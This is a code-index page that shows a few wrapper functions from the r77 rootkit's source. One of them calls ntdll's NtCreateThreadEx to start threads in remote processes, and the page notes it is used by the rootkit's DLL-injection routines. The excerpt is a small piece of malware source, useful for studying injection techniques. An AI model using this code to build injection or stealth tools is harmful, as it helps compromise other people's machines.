MCPcopy Index your code
hub / github.com/bytecode77/r77-rootkit / R77_NtCreateThreadEx

Function R77_NtCreateThreadEx

r77api/r77win.c:931–936  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

929 return ((NT_NTQUERYOBJECT)GetFunction("ntdll.dll", "NtQueryObject"))(handle, objectInformationClass, objectInformation, objectInformationLength, returnLength);
930}
931NTSTATUS NTAPI R77_NtCreateThreadEx(LPHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer)
932{
933 // Use NtCreateThreadEx instead of CreateRemoteThread.
934 // CreateRemoteThread does not work across sessions in Windows 7.
935 return ((NT_NTCREATETHREADEX)GetFunction("ntdll.dll", "NtCreateThreadEx"))(thread, desiredAccess, objectAttributes, processHandle, startAddress, parameter, flags, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, bytesBuffer);
936}
937NTSTATUS NTAPI R77_NtUnmapViewOfSection(HANDLE processHandle, LPVOID baseAddress)
938{
939 return ((NT_NTUNMAPVIEWOFSECTION)GetFunction("ntdll.dll", "NtUnmapViewOfSection"))(processHandle, baseAddress);

Callers 3

InjectDllFunction · 0.85
DetachInjectedProcessFunction · 0.85
DetachR77ServiceFunction · 0.85

Calls 1

GetFunctionFunction · 0.85

Tested by

no test coverage detected